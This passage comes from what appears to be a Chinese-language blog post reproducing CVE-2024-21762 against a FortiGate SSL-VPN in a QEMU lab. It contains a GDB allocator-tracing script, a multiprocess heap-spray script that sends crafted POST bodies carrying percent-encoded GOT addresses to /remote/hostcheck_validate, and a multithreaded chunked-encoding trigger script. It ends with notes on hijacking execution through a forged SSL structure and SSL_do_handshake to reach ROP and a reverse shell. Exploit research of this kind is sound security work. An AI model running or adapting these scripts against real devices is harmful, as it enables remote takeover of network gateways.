is_match = (addr <= context["dynamic_high_bits"] and (addr+size) >= (context["dynamic_high_bits"]))
if is_match:
tag = ''
info = f"MATCH FOUND! malloc: {hex(addr)}-{hex(addr + size)} | Overlaps with calloc base: {hex(context['dynamic_high_bits'])}"
# 1. 终端输出
print(f"{tag}\n{info}\n{tag}")
# 2. 写入文件
# log_to_file(info)
else:
if (addr//0x10000)*0x10000 ==addr:
print(f"je_malloc: {hex(addr)} : {hex(addr + size)} | {hex(size)} | Cmp {hex(context["dynamic_high_bits"])}")
context["malloc_size"] = 0
return False
# --- Calloc 断点逻辑 ---
class CallocEntry(gdb.Breakpoint):
def stop(self):
size = int(gdb.parse_and_eval("$rsi"))
context["calloc_size"] = size
return False
class CallocExit(gdb.Breakpoint):
def stop(self):
size = context["calloc_size"]
if size > 0:
addr = int(gdb.parse_and_eval("$rax"))
if size == 0x730:
context["dynamic_high_bits"] = (((addr>>16)<<16) + 0xa0d) # 更新目标基址
print(f"dynamic_high_bits Updated : {hex(context["dynamic_high_bits"])}")
msg = f"je_calloc [TARGET SET]: {hex(addr)} : {hex(addr + size)} | {hex(size)} | {hex(context["dynamic_high_bits"])}"
print(msg)
# 可选:也将目标对象的分配记录下来,方便对比
# log_to_file(msg)
context["calloc_size"] = 0
return False
# 实例化断点
MallocEntry("je_malloc", internal=True)
MallocExit("*(je_malloc+205)", internal=True)
CallocEntry("je_calloc", internal=True)
CallocExit("*(je_calloc+340)", internal=True)
print(f"追踪脚本已加载:匹配结果将实时保存至 {LOG_FILE}")
同时使用下面的脚本进行堆喷(需调整里面的参数):
import socket
import ssl
import time
import multiprocessing as mp
from functools import partial
# --- 通信配置 ---
UDP_IP = "127.0.0.1"
UDP_PORT = 5005
# 注意:UDP socket 在多进程中可能需要每个进程单独创建,或者使用线程锁,
# 这里为了简单,我们在每个子进程中重新创建 UDP socket 或在主进程处理通知。
# 如果 GDB 脚本不依赖严格的顺序,可以在子进程中独立发送。
# --- 核心配置 ---
TIMEOUT = 500
TARGET_ADDR = "192.168.66.2"
TARGET_PORT = 10443
START_LEN_A = 0x1000-0x20-0x10-0x80
STEP = 0
REPEAT_COUNT = 50
# SSL 上下文不能直接在进程间共享(取决于 Python 版本和 pickle 支持),
# 最好在子进程中重新初始化,或者只传递配置参数。
def create_ssl_context():
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return context
def notify_gdb(size):
"""通知 GDB 脚本当前关注的 size"""
try:
# 每个进程拥有独立的 socket 以避免竞争条件
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto(str(size + 0x20).encode(), (UDP_IP, UDP_PORT))
udp_sock.close()
except Exception as e:
print(f"[PID {mp.current_process().pid}] UDP Error: {e}")
import struct
def serialize_to_percent_hex(value: int) -> bytes:
"""
将一个整数序列化为 8 字节的 '%XX' 格式的字节串。
例如:0x4837430000000000 -> b"%48%37%43%00%00%00%00%00"
参数:
value (int): 需要序列化的整数 (必须在 0 到 2^64-1 之间)
返回:
bytes: 格式化后的字节串
"""
if not (0 <= value <= 0xFFFFFFFFFFFFFFFF):
raise ValueError("Value must be between 0 and 2^64 - 1")
# 1. 将整数打包为 8 字节的大端序二进制数据
# '>Q' 表示 Big-Endian (>) Unsigned Long Long (Q, 8 bytes)
packed_data = struct.pack('<Q', value)
# 2. 将每个字节格式化为 "%XX" 并拼接
# %02X 表示大写十六进制,不足两位补零
result_str = "".join(f"%{byte:02X}" for byte in packed_data)
# 3. 编码为 bytes
return result_str.encode('ascii')
target_GOT=0x43D8490
rdx=target_GOT-0x40 # 0x043D8450 PEM_read_bio_X509_REQ
rsi=undef_rdx_sub_0x70=0x42E260-0x70
getcwd_got=0x043DB498
pp=b''
pp+=b'B'*8+serialize_to_percent_hex(getcwd_got-0x60)+b'B'*0x20+serialize_to_percent_hex(0xdeadbeef)
pp=pp.ljust(0x298+0x10+0x10,b'B')
payloadA=b'B'*(0+0xa0d-0x800+0x18-0x32+0x800)+pp+serialize_to_percent_hex(rsi)
payloadA=payloadA.ljust(START_LEN_A,b'B')
payloadB=payloadA
def send_payload_worker(len_a):
"""工作函数:在每个子进程中运行"""
pid = mp.current_process().pid
# 【新增】发送当前 len_a 给 GDB
notify_gdb(len_a)
print(f"[PID {pid}] [+] Testing -> Len_A: {hex(len_a)}")
unit = (
b"="+payloadB + b"&")
body = unit * REPEAT_COUNT
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 10.0.0.3:10443\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
try:
# 每个连接使用独立的 Socket 和 SSL 上下文
s = socket.create_connection((TARGET_ADDR, TARGET_PORT), timeout=TIMEOUT)
context = create_ssl_context()
ss = context.wrap_socket(s)
ss.sendall(data)
# 可以选择接收一点响应来判断是否成功,或者直接关闭
# response = ss.recv(1024)
time.sleep(0.1) # 短暂等待
# ss.close()
print(f"[PID {pid}] [OK] Sent successfully.")
except Exception as e:
print(f"[PID {pid}] [x] Connection Error: {e}")
def main():
# 配置并发数量
NUM_CLIENTS = 100 # 同时运行的客户端数量
TOTAL_REQUESTS = 2 # 总共想发送的请求数
print(f"[*] Starting Fuzzing with {NUM_CLIENTS} concurrent clients...")
# 生成任务列表 (这里假设所有客户端测试同一个长度,你也可以生成不同的长度列表)
# 如果你想让不同客户端测试不同长度,可以构建一个 lengths 列表
current_len = START_LEN_A
tasks = [current_len + (i * STEP) for i in range(TOTAL_REQUESTS)]
# 使用进程池
with mp.Pool(processes=NUM_CLIENTS) as pool:
# map 会阻塞直到所有任务完成,imap_unordered 可以在任务完成时立即返回结果(更适合实时观察)
for _ in pool.imap_unordered(send_payload_worker, tasks):
pass
print("[*] All tasks finished.")
if __name__ == "__main__":
# Windows/MacOS 下必须加这个保护
mp.set_start_method('spawn', force=True)
main()
多线程触发漏洞脚本:
import socket
import ssl
import threading
import time
from pwn import log # 使用 pwn 的 log 功能让输出更清晰,也可以只用 print
TIMEOUT = 5
TARGET_ADDR = "192.168.66.2"
TARGET_PORT = 10443
# 配置 SSL 上下文 (全局只创建一次,线程安全)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
def send_request_thread(thread_id, host, port, data):
"""
每个线程执行一次的函数
thread_id: 用于区分不同线程的输出
"""
address = (host, port)
thread_name = f"Thread-{thread_id}"
try:
# 1. 创建连接 (每个线程拥有独立的 socket)
s = socket.create_connection(address, timeout=TIMEOUT)
ss = context.wrap_socket(s)
log.info(f"[{thread_name}] Connected to {host}:{port}, sending payload...")
# 2. 发送数据
ss.sendall(data)
# 3. 接收响应
# log.info(f"[{thread_name}] Receiving response...")
response = b""
# 设置 socket 超时,防止 recv 无限阻塞
ss.settimeout(TIMEOUT)
while True:
try:
chunk = ss.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
# 正常结束,没有更多数据
break
except Exception as e:
log.warning(f"[{thread_name}] Recv error: {e}")
break
# 4. 处理输出
if response:
log.success(f"[{thread_name}] Received {len(response)} bytes.")
# 为了不让控制台太乱,只在第一次成功或特定条件下打印详细内容
# 如果需要看每个线程的详细回包,取消下面注释
"""
print(f"--- Response from {thread_name} ---")
try:
print(response.decode('utf-8', errors='replace'))
except:
print(response.hex())
print("-" * 30)
"""
else:
log.warning(f"[{thread_name}] No response received (Connection closed by peer?).")
ss.close()
s.close()
except Exception as e:
log.error(f"[{thread_name}] Connection Error: {e}")
def main():
# --- 构造 Payload ---
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 10.0.0.3:10443\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*18 + b'\r\n'
# data += b"01\r\n"
data += b"0\r\n"*100
data += b"0"*254 + b'\r\n'
# --- 并发配置 ---
NUM_THREADS = 20 # 同时运行的线程数
TOTAL_REQUESTS = 50 # 总共发送的请求数
log.info(f"Starting stress test with {NUM_THREADS} concurrent threads...")
log.info(f"Target: {TARGET_ADDR}:{TARGET_PORT}")
threads = []
# 启动线程
for i in range(TOTAL_REQUESTS):
t = threading.Thread(target=send_request_thread, args=(i, TARGET_ADDR, TARGET_PORT, data))
threads.append(t)
t.start()
# 控制并发密度:如果线程数达到上限,可以稍微等待或直接继续
# 这里我们一次性启动所有,依靠操作系统调度。
# 如果想严格限制“同时”只有 NUM_THREADS 个在跑,可以使用信号量或线程池,
# 但通常直接启动由 OS 调度对于这种短连接测试也没问题。
# 可选:如果目标容易崩溃,可以加一点微小延时错开握手时间
# time.sleep(0.01)
# 等待所有线程完成
for t in threads:
t.join()
log.info("All threads finished.")
if __name__ == "__main__":
main()
同时按照网上的思路进行劫持执行流,可以看到已经可以控制劫持的system函数了:
之后就是使用SSL_do_handshake替换掉system函数执行任意地址的gadget了,之后拿到ROP就可以干自己想干的事情了。比如反弹node的shell。后续利用也就没有难度了。
总结
一个困扰了很久的漏洞复现。 由于是第一次接触这种设备类型的漏洞,前前后后踩了许多坑: 首先就是卡在打包的rootfs.gz过不了内核的gz解压缩(不是校验哈希的那一步),以及复制rootfs进去显示空间不足。当然这些小问题相对与下面的坑点还是微不足道的。(如果patch一下elf能再打包回bzImage将会简单很多,包括后续每次还需要调试在校验函数之后设置RAX=0,如果直接patch之后将没有这么繁琐的步骤) 之后就是卡的最久的问题:堆喷。刚开始被网上的POC误导以为堆喷只需要进行单线程的堆喷就可以稳定堆喷到目标地址,然而当我写了个脚本进行size从0x400一直爆到0x1000多都没有喷出来的时候直接绷不住了。之后才开始想到堆喷如果进行多线程的堆喷应该成功率会增大不少。但是多线程的堆喷就很难控制了,经过研究也没有发现任何有用的规律(当然也不是什么都没有发现,比如每次申请的堆块被释放后都放到了类似tcache的地方。这也很明显,每次申请的堆块的顺序大致上都是跟上一次相反的顺序。虽然也会有一些小的细节不同)经过多线程的尝试,发现堆喷的成功率已经大大增加了(感觉能有20%的几率能找到合适的参数稳定在一定时间内成功堆喷) 但是不得不说这个漏洞的利用思路还是比较巧妙的: 首先就是从只可控地址的2字节0x0a0d的栈上任意地址写到可控的任意call函数的过程:劫持栈上的堆块指针,利用堆喷伪造结构体,伪造后面call的函数指针实现任意函数的call。 之后就是从只能call动态链接的函数到任意地址的gadget的执行:利用SSL_do_handshake以及残留RDI堆块指针的特性伪造SSL结构体,调整结构体内容劫持handshake_func。 可能是版本的问题?也可能是我的qemu的问题,导致网上堆喷的poc没有能成功的,自己的堆喷的POC也是成功率很低。(因为堆喷实在太看脸了)不过成功率也是可以接受的,毕竟我们打远程只需要成功一次就可以成功拿到权限。
Reference
https://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762 https://github.com/h4x0r-dz/CVE-2024-21762